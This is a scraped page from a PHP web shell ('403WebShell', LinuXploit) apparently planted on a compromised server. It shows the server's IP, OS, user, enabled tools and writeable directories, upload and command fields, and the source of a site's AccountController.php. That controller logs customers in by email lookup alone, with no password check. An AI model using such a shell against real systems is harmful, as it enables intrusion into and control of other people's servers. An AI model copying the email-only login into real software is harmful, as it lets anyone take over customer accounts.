Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/araltecservicios/app/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/araltecservicios/app/Controller/AccountController.php
<?php
declare(strict_types=1);

namespace App\Controller;

use App\Model\CustomerModel;
use Mosaico\Controller\BaseController;

class AccountController extends BaseController
{
	
	protected $customerModel;

	public function __construct()
	{
		$this->customerModel = new customerModel();
	}

	public function getAccount(): string
	{
		if (isset($_SESSION['customer'])) {
			$account = $this->customerModel->getCustomerById($_SESSION['customer']['id']);
		    
		    return $this->template(
		    	'account/accountPage',
		    	[
		    		'account' => $account
		    	]);

		} else {
			return $this->template(
		    	'account/login',
		    	[
		    	]);
		}
	}

	public function checkAccount($customer)
	{
		$query = $this->customerModel->getAccount($customer['email']);
		if ($query->num_rows > 0) {
			$data = $query->row;
			$data['customer'] = 1;
			$_SESSION['customer'] = ['id' => $data['id_customer'], 'email' => $data['email']];
		} else {
			$data['customer'] = 0;
			unset($_SESSION['customer']);
		}

		echo json_encode($data);
	}

	public function createAccount(): string
	{
	    return $this->template(
	    	'account/accountCreate',
	    	[
	    	]);
	}

	public function createAccountSuccess(): string
	{
	    return $this->template(
	    	'account/accountSuccess',
	    	[
	    	]);
	}

	public function loginAccount(): string
	{
	    return $this->template(
	    	'account/login',
	    	[
	    	]);
	}

	public function insertAccount($data):  void
	{

		$this->customerModel->insertAccount($data);
		$_SESSION['account']['validate'] = $data['email'];
		$data['customer'] = 1;

		echo json_encode($data);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit